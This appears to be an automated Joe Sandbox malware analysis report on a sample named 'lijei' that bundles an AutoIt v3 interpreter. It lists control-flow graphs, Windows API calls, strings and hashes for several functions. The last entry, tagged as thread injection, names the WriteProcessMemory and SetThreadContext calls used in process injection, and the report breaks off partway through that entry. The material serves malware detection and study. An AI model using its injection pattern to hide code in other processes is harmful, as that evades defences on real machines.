                                                              control_flow_graph 1058 8a3696-8a36ab 1059 8a370b-8a370d 1058->1059 1060 8a36ad-8a36b0 1058->1060 1059->1060 1063 8a370f 1059->1063 1061 8a36b2-8a36b9 1060->1061 1062 8a3711 1060->1062 1064 8a378b-8a3793 PostQuitMessage 1061->1064 1065 8a36bf-8a36c4 1061->1065 1067 8e3dce-8e3df6 call 8a2f24 call 8bf1c6 1062->1067 1068 8a3717-8a371c 1062->1068 1066 8a36f6-8a36fe DefWindowProcW 1063->1066 1073 8a373f-8a3741 1064->1073 1069 8a36ca-8a36ce 1065->1069 1070 8e3e3b-8e3e4f call 90c80c 1065->1070 1072 8a3704-8a370a 1066->1072 1103 8e3dfb-8e3e02 1067->1103 1074 8a371e-8a3721 1068->1074 1075 8a3743-8a376a SetTimer RegisterWindowMessageW 1068->1075 1076 8a36d4-8a36d9 1069->1076 1077 8a3795-8a379f call 8bfcbb 1069->1077 1070->1073 1095 8e3e55 1070->1095 1073->1072 1081 8e3d6f-8e3d72 1074->1081 1082 8a3727-8a373a KillTimer call 8a388e call 8a572c 1074->1082 1075->1073 1078 8a376c-8a3777 CreatePopupMenu 1075->1078 1083 8a36df-8a36e4 1076->1083 1084 8e3e20-8e3e27 1076->1084 1097 8a37a4 1077->1097 1078->1073 1088 8e3daa-8e3dc9 MoveWindow 1081->1088 1089 8e3d74-8e3d78 1081->1089 1082->1073 1093 8a36ea-8a36f0 1083->1093 1094 8a3779-8a3789 call 8a37a6 1083->1094 1084->1066 1092 8e3e2d-8e3e36 call 901367 1084->1092 1088->1073 1098 8e3d7a-8e3d7d 1089->1098 1099 8e3d99-8e3da5 SetFocus 1089->1099 1092->1066 1093->1066 1093->1103 1094->1073 1095->1066 1097->1073 1098->1093 1104 8e3d83-8e3d94 call 8a2f24 1098->1104 1099->1073 1103->1066 1108 8e3e08-8e3e1b call 8a388e call 8a38f2 1103->1108 1104->1073 1108->1066
                                                              APIs
                                                              • DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,008A3690,?,?), ref: 008A36FE
                                                              • KillTimer.USER32(?,00000001,?,?,?,?,?,008A3690,?,?), ref: 008A372A
                                                              • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 008A374D
                                                              • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,008A3690,?,?), ref: 008A3758
                                                              • CreatePopupMenu.USER32 ref: 008A376C
                                                              • PostQuitMessage.USER32(00000000), ref: 008A378D
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                              • String ID: TaskbarCreated
                                                              • API String ID: 129472671-2362178303
                                                              • Opcode ID: c6065c106e0efd9ba1c7c9b0ccb02a9eb4edaab4912431b1dda4e9db15c34c36
                                                              • Instruction ID: d08763c6f6d8d1fd42afb680c61b9cdcb32601b9536253aef4be401bc8eb3867
                                                              • Opcode Fuzzy Hash: c6065c106e0efd9ba1c7c9b0ccb02a9eb4edaab4912431b1dda4e9db15c34c36
                                                              • Instruction Fuzzy Hash: EA4129F222C244BBFB241B38DC0EB793A55F743314F044139F50ACAA91CAB49F40A752
                                                              Function 008A2A52 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1114 8a2a52-8a2a8b 1115 8e39f4-8e39f5 DestroyWindow 1114->1115 1116 8a2a91-8a2aa7 mciSendStringW 1114->1116 1121 8e3a00-8e3a0d 1115->1121 1117 8a2d08-8a2d15 1116->1117 1118 8a2aad-8a2ab5 1116->1118 1119 8a2d3a-8a2d41 1117->1119 1120 8a2d17-8a2d32 UnregisterHotKey 1117->1120 1118->1121 1122 8a2abb-8a2aca call 8a2e70 1118->1122 1119->1118 1124 8a2d47 1119->1124 1120->1119 1123 8a2d34-8a2d35 call 8a2712 1120->1123 1125 8e3a0f-8e3a12 1121->1125 1126 8e3a3c-8e3a43 1121->1126 1133 8e3a4a-8e3a56 1122->1133 1134 8a2ad0-8a2ad8 1122->1134 1123->1119 1124->1117 1131 8e3a1e-8e3a21 FindClose 1125->1131 1132 8e3a14-8e3a1c call 8a7953 1125->1132 1126->1121 1130 8e3a45 1126->1130 1130->1133 1135 8e3a27-8e3a34 1131->1135 1132->1135 1140 8e3a58-8e3a5a FreeLibrary 1133->1140 1141 8e3a60-8e3a67 1133->1141 1137 8e3a6e-8e3a7b 1134->1137 1138 8a2ade-8a2b03 call 8ae650 1134->1138 1135->1126 1139 8e3a36-8e3a37 call 913c0b 1135->1139 1146 8e3a7d-8e3a9a VirtualFree 1137->1146 1147 8e3aa2-8e3aa9 1137->1147 1151 8a2b3a-8a2b45 CoUninitialize 1138->1151 1152 8a2b05 1138->1152 1139->1126 1140->1141 1141->1133 1145 8e3a69 1141->1145 1145->1137 1146->1147 1150 8e3a9c-8e3a9d call 913c71 1146->1150 1147->1137 1148 8e3aab 1147->1148 1154 8e3ab0-8e3ab4 1148->1154 1150->1147 1151->1154 1156 8a2b4b-8a2b50 1151->1156 1155 8a2b08-8a2b38 call 8a3047 call 8a2ff0 1152->1155 1154->1156 1157 8e3aba-8e3ac0 1154->1157 1155->1151 1159 8e3ac5-8e3ad2 call 913c45 1156->1159 1160 8a2b56-8a2b60 1156->1160 1157->1156 1173 8e3ad4 1159->1173 1163 8a2d49-8a2d56 call 8bfb27 1160->1163 1164 8a2b66-8a2b71 call 8abd2c 1160->1164 1163->1164 1175 8a2d5c 1163->1175 1174 8a2b77 call 8a2f86 1164->1174 1177 8e3ad9-8e3afb call 8c015d 1173->1177 1176 8a2b7c-8a2be7 call 8a2e17 call 8c01a4 call 8a2dbe call 8abd2c call 8ae650 call 8a2e40 call 8c01a4 1174->1176 1175->1163 1176->1177 1203 8a2bed-8a2c11 call 8c01a4 1176->1203 1183 8e3afd 1177->1183 1185 8e3b02-8e3b24 call 8c015d 1183->1185 1191 8e3b26 1185->1191 1194 8e3b2b-8e3b4d call 8c015d 1191->1194 1200 8e3b4f 1194->1200 1204 8e3b54-8e3b61 call 906d63 1200->1204 1203->1185 1209 8a2c17-8a2c3b call 8c01a4 1203->1209 1210 8e3b63 1204->1210 1209->1194 1215 8a2c41-8a2c5b call 8c01a4 1209->1215 1212 8e3b68-8e3b75 call 8bbd6a 1210->1212 1218 8e3b77 1212->1218 1215->1204 1220 8a2c61-8a2c85 call 8a2e17 call 8c01a4 1215->1220 1221 8e3b7c-8e3b89 call 913b9f 1218->1221 1220->1212 1229 8a2c8b-8a2c93 1220->1229 1227 8e3b8b 1221->1227 1231 8e3b90-8e3b9d call 913c26 1227->1231 1229->1221 1230 8a2c99-8a2caa call 8abd2c call 8a2f4c 1229->1230 1238 8a2caf-8a2cb7 1230->1238 1237 8e3b9f 1231->1237 1240 8e3ba4-8e3bb1 call 913c26 1237->1240 1238->1231 1239 8a2cbd-8a2ccb 1238->1239 1239->1240 1242 8a2cd1-8a2d07 call 8abd2c * 3 call 8a2eb8 1239->1242 1245 8e3bb3 1240->1245 1245->1245
                                                              APIs
                                                              • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 008A2A9B
                                                              • CoUninitialize.COMBASE ref: 008A2B3A
                                                              • UnregisterHotKey.USER32(?), ref: 008A2D1F
                                                              • DestroyWindow.USER32(?), ref: 008E39F5
                                                              • FreeLibrary.KERNEL32(?), ref: 008E3A5A
                                                              • VirtualFree.KERNEL32(?,00000000,00008000), ref: 008E3A87
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                              • String ID: close all
                                                              • API String ID: 469580280-3243417748
                                                              • Opcode ID: 1d15464e4ccc0a4c1a46326b3f397a69b7beece89c028f3e9f9d5952076fdcf7
                                                              • Instruction ID: c3a7dd37b853e138b5d40fea38f30c885206c2c609d267d73ccf5ad4e1df2dce
                                                              • Opcode Fuzzy Hash: 1d15464e4ccc0a4c1a46326b3f397a69b7beece89c028f3e9f9d5952076fdcf7
                                                              • Instruction Fuzzy Hash: 14D15931701262CFDB29EF19C499B69F7A0FF46714F1442ADE84AAB652CB30AD52CF41
                                                              Function 0091874A Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1253 91874a-91878c call 8e22f0 call 8a8e70 1258 9187a2 1253->1258 1259 91878e-91879c call 8ac92d 1253->1259 1261 9187a4-9187b0 1258->1261 1259->1258 1265 91879e-9187a0 1259->1265 1263 9187b6 1261->1263 1264 91886d-91891f call 8a8e70 call 8a557e call 8cd913 call 8c93c8 * 2 GetCurrentDirectoryW SetCurrentDirectoryW 1261->1264 1266 9187ba-9187c0 1263->1266 1298 918921-91892d call 90e387 1264->1298 1299 918973-918984 call 8ae650 1264->1299 1265->1261 1268 9187c2-9187c8 1266->1268 1269 9187ca-9187cf 1266->1269 1271 9187d6 1268->1271 1273 9187d1-9187d4 1269->1273 1274 9187d9-9187df 1269->1274 1271->1274 1273->1271 1275 9187e1-9187e4 1274->1275 1276 918848-91884a 1274->1276 1275->1276 1279 9187e6-9187e9 1275->1279 1280 91884b-91884e 1276->1280 1282 918844-918846 1279->1282 1283 9187eb-9187ee 1279->1283 1284 918850-918856 1280->1284 1285 918858 1280->1285 1288 91883d-91883e 1282->1288 1283->1282 1287 9187f0-9187f3 1283->1287 1289 91885c-918867 1284->1289 1285->1289 1291 918840-918842 1287->1291 1292 9187f5-9187f8 1287->1292 1288->1280 1289->1264 1289->1266 1291->1288 1292->1291 1294 9187fa-9187fd 1292->1294 1296 91883b 1294->1296 1297 9187ff-918802 1294->1297 1296->1288 1297->1296 1300 918804-918807 1297->1300 1298->1299 1309 91892f-91893a call 90e9c5 1298->1309 1308 918987-91898b call 8abd2c 1299->1308 1302 918834-918839 1300->1302 1303 918809-91880c 1300->1303 1302->1280 1303->1302 1307 91880e-918811 1303->1307 1310 918813-918816 1307->1310 1311 91882d-918832 1307->1311 1315 918990-918998 1308->1315 1319 918940-918967 GetFileAttributesW SetFileAttributesW 1309->1319 1320 9189cf 1309->1320 1310->1311 1314 918818-91881b 1310->1314 1311->1280 1317 918826-91882b 1314->1317 1318 91881d-918820 1314->1318 1317->1280 1318->1317 1321 91899b-9189af call 8ae650 1318->1321 1324 9189b1-9189b3 1319->1324 1325 918969-918971 SetCurrentDirectoryW 1319->1325 1323 9189d3-9189e5 call 919f9f 1320->1323 1321->1315 1331 9189ea-9189ec 1323->1331 1327 918a02-918a0c SetCurrentDirectoryW 1324->1327 1328 9189b5-9189cd SetCurrentDirectoryW call 8c4d13 1324->1328 1325->1299 1327->1308 1328->1323 1331->1327 1333 9189ee-9189fb call 8ae650 1331->1333 1333->1327
                                                              APIs
                                                              • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00918907
                                                              • SetCurrentDirectoryW.KERNELBASE(?), ref: 0091891B
                                                              • GetFileAttributesW.KERNEL32(?), ref: 00918945
                                                              • SetFileAttributesW.KERNELBASE(?,00000000), ref: 0091895F
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 00918971
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 009189BA
                                                              • SetCurrentDirectoryW.KERNELBASE(?,?,?,?,?), ref: 00918A0A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CurrentDirectory$AttributesFile
                                                              • String ID: *.*
                                                              • API String ID: 769691225-438819550
                                                              • Opcode ID: f4264b4da3a695173a355bb54b8039fc4572e0e876de3d04409e885a43e33faa
                                                              • Instruction ID: b05160c3f17298abbf297ee8c8816824b881b8d561d4e645d60dd3dfc5ed49b6
                                                              • Opcode Fuzzy Hash: f4264b4da3a695173a355bb54b8039fc4572e0e876de3d04409e885a43e33faa
                                                              • Instruction Fuzzy Hash: B781BE726043089BCB20EF28C494AEBB3E9FF85310F544C5AF895D7250DB34D985EB92
                                                              Function 008D90D5 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1418 8d90d5-8d90e5 1419 8d90ff-8d9101 1418->1419 1420 8d90e7-8d90fa call 8cf656 call 8cf669 1418->1420 1422 8d9469-8d9476 call 8cf656 call 8cf669 1419->1422 1423 8d9107-8d910d 1419->1423 1436 8d9481 1420->1436 1441 8d947c call 8d2b7c 1422->1441 1423->1422 1426 8d9113-8d913e 1423->1426 1426->1422 1429 8d9144-8d914d 1426->1429 1432 8d914f-8d9162 call 8cf656 call 8cf669 1429->1432 1433 8d9167-8d9169 1429->1433 1432->1441 1434 8d916f-8d9173 1433->1434 1435 8d9465-8d9467 1433->1435 1434->1435 1439 8d9179-8d917d 1434->1439 1440 8d9484-8d9489 1435->1440 1436->1440 1439->1432 1443 8d917f-8d9196 1439->1443 1441->1436 1446 8d9198-8d919b 1443->1446 1447 8d91b3-8d91bc 1443->1447 1449 8d919d-8d91a3 1446->1449 1450 8d91a5-8d91ae 1446->1450 1451 8d91be-8d91d5 call 8cf656 call 8cf669 call 8d2b7c 1447->1451 1452 8d91da-8d91e4 1447->1452 1449->1450 1449->1451 1455 8d924f-8d9269 1450->1455 1484 8d939c 1451->1484 1453 8d91eb-8d91ec call 8d3bb0 1452->1453 1454 8d91e6-8d91e8 1452->1454 1462 8d91f1-8d9209 call 8d2d58 * 2 1453->1462 1454->1453 1457 8d933d-8d9346 call 8dfc3b 1455->1457 1458 8d926f-8d927f 1455->1458 1471 8d93b9 1457->1471 1472 8d9348-8d935a 1457->1472 1458->1457 1461 8d9285-8d9287 1458->1461 1461->1457 1465 8d928d-8d92b3 1461->1465 1488 8d920b-8d9221 call 8cf669 call 8cf656 1462->1488 1489 8d9226-8d924c call 8d97b4 1462->1489 1465->1457 1469 8d92b9-8d92cc 1465->1469 1469->1457 1474 8d92ce-8d92d0 1469->1474 1476 8d93bd-8d93d5 ReadFile 1471->1476 1472->1471 1477 8d935c-8d936b GetConsoleMode 1472->1477 1474->1457 1479 8d92d2-8d92fd 1474->1479 1481 8d93d7-8d93dd 1476->1481 1482 8d9431-8d943c GetLastError 1476->1482 1477->1471 1483 8d936d-8d9371 1477->1483 1479->1457 1487 8d92ff-8d9312 1479->1487 1481->1482 1492 8d93df 1481->1492 1490 8d943e-8d9450 call 8cf669 call 8cf656 1482->1490 1491 8d9455-8d9458 1482->1491 1483->1476 1485 8d9373-8d938d ReadConsoleW 1483->1485 1486 8d939f-8d93a9 call 8d2d58 1484->1486 1493 8d938f GetLastError 1485->1493 1494 8d93ae-8d93b7 1485->1494 1486->1440 1487->1457 1498 8d9314-8d9316 1487->1498 1488->1484 1489->1455 1490->1484 1495 8d945e-8d9460 1491->1495 1496 8d9395-8d939b call 8cf633 1491->1496 1502 8d93e2-8d93f4 1492->1502 1493->1496 1494->1502 1495->1486 1496->1484 1498->1457 1505 8d9318-8d9338 1498->1505 1502->1486 1509 8d93f6-8d93fa 1502->1509 1505->1457 1510 8d93fc-8d940c call 8d8df1 1509->1510 1511 8d9413-8d941e 1509->1511 1523 8d940f-8d9411 1510->1523 1517 8d942a-8d942f call 8d8c31 1511->1517 1518 8d9420 call 8d8f41 1511->1518 1524 8d9425-8d9428 1517->1524 1518->1524 1523->1486 1524->1523
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: f561fd78d61528ede73ea03dabe4530c8ba86b7202b3016c00e76fca62b89f49
                                                              • Instruction ID: 87e991d494884c3cfaa38630eeee645d84bb48cea4030c35fe1b33a6af430347
                                                              • Opcode Fuzzy Hash: f561fd78d61528ede73ea03dabe4530c8ba86b7202b3016c00e76fca62b89f49
                                                              • Instruction Fuzzy Hash: 33C1F171A04249AFDF15DFACC841BADBBB5FF19310F14029AE998E7392C7309942CB61
                                                              Function 008A353A Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 008A3568
                                                              • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 008A3589
                                                              • ShowWindow.USER32(00000000,?,?,?,?,?,?,008A32EF,?), ref: 008A359D
                                                              • ShowWindow.USER32(00000000,?,?,?,?,?,?,008A32EF,?), ref: 008A35A6
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Window$CreateShow
                                                              • String ID: AutoIt v3$edit
                                                              • API String ID: 1584632944-3779509399
                                                              • Opcode ID: 97bfeebcd7b99caaee4e8558f959b14b9a49dea0bf9ab422d8a43c6450c05e70
                                                              • Instruction ID: 1f15a482237adef3f0630ceb623c0fa7d652b16edfdfde6785613ecf3ffed0c5
                                                              • Opcode Fuzzy Hash: 97bfeebcd7b99caaee4e8558f959b14b9a49dea0bf9ab422d8a43c6450c05e70
                                                              • Instruction Fuzzy Hash: D5F0DA726693947AE73157277C18E372EBDD7C6F50F00001EB908A7160D6691891FEB4
                                                              Function 008A55F8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,008A55EB,SwapMouseButtons,00000004,?), ref: 008A561C
                                                              • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,008A55EB,SwapMouseButtons,00000004,?), ref: 008A563D
                                                              • RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,008A55EB,SwapMouseButtons,00000004,?), ref: 008A565F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CloseOpenQueryValue
                                                              • String ID: Control Panel\Mouse
                                                              • API String ID: 3677997916-824357125
                                                              • Opcode ID: 480542f103fad89eeca614f2f139609e403516418767640649134214e455b287
                                                              • Instruction ID: 0308ccaa23900ab4f1c6f314def94dd7a41bb194a0367c0f80458a3e8c82285d
                                                              • Opcode Fuzzy Hash: 480542f103fad89eeca614f2f139609e403516418767640649134214e455b287
                                                              • Instruction Fuzzy Hash: 48113CB5611608BFEB248F64DC84EAF77B8FF26B44F504469F805D7120D6719E81AB60
                                                              Function 008FE71E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 008FE73D
                                                              • FreeLibrary.KERNEL32 ref: 008FE763
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: AddressFreeLibraryProc
                                                              • String ID: GetSystemWow64DirectoryW$X64
                                                              • API String ID: 3013587201-2590602151
                                                              • Opcode ID: 12413522f5ed105befbed2c6141dc6b3d8e06f03783a2f4d8fc7f2e0e4f34de0
                                                              • Instruction ID: e5f1da963696be10c76ac57f896fbb5d317e750760110a268049d925f118707e
                                                              • Opcode Fuzzy Hash: 12413522f5ed105befbed2c6141dc6b3d8e06f03783a2f4d8fc7f2e0e4f34de0
                                                              • Instruction Fuzzy Hash: 55E0E57190B72DDFDB766AB04C58AB92255FB20B00F140568EA01E6161DB28DC48C699
                                                              Function 008AF680 Relevance: 6.7, APIs: 2, Strings: 1, Instructions: 1414COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              • Variable must be of type 'Object'., xrefs: 008F486A
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: Variable must be of type 'Object'.
                                                              • API String ID: 0-109567571
                                                              • Opcode ID: 54ecd9bc1322d8982db8c03d1c4e29d413009c86d64bd00324cceebab26ccbd8
                                                              • Instruction ID: 9aa7929cd922a31039b788f2e437084ef70b7793e3c62b452db5344ec5b6063d
                                                              • Opcode Fuzzy Hash: 54ecd9bc1322d8982db8c03d1c4e29d413009c86d64bd00324cceebab26ccbd8
                                                              • Instruction Fuzzy Hash: 93C28E71A00218DFDB24CFA8C880BAEB7B1FF46314F248169EA45EB762D775AD41CB51
                                                              Function 0090DA81 Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFileAttributesW.KERNELBASE(?,0093DC30), ref: 0090DABB
                                                              • GetLastError.KERNEL32 ref: 0090DACA
                                                              • CreateDirectoryW.KERNELBASE(?,00000000), ref: 0090DAD9
                                                              • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0093DC30), ref: 0090DB36
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CreateDirectory$AttributesErrorFileLast
                                                              • String ID:
                                                              • API String ID: 2267087916-0
                                                              • Opcode ID: f82eea3b21cc91fb37c6e17f477a4852d9ce1c37066620882bcb8237b6170c2d
                                                              • Instruction ID: df279c2e591b4ef5ff51e20730aa92906f194b05b5d93df47ec57f3af341653c
                                                              • Opcode Fuzzy Hash: f82eea3b21cc91fb37c6e17f477a4852d9ce1c37066620882bcb8237b6170c2d
                                                              • Instruction Fuzzy Hash: E0217C3050A2019FC700DF68D8919ABB7E8FE56368F144A1DF4A9C72E1E730DD4ACB82
                                                              Function 01600F52 Relevance: 5.5, APIs: 3, Instructions: 959threadinjectionCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WriteProcessMemory.KERNELBASE ref: 01600F69
                                                              • Wow64SetThreadContext.KERNEL32(?), ref: 01600FB4
                                                              • ResumeThread.KERNELBASE(?,0000002E,?,9E4A3F88,00000000), ref: 01600FD4
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 0156F000, based on PE: false
                                                              • Associated: 00000008.00000003.2358205298.000000000156F000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Thread$ContextMemoryProcessResumeWow64Write
                                                              • String ID:
                                                              • API String ID: 2794113056-0
                                                              • Opcode ID: 023d87f84f86d4a395a9ffa837f9da4944fee112babbb09b0464202a2f31cba3
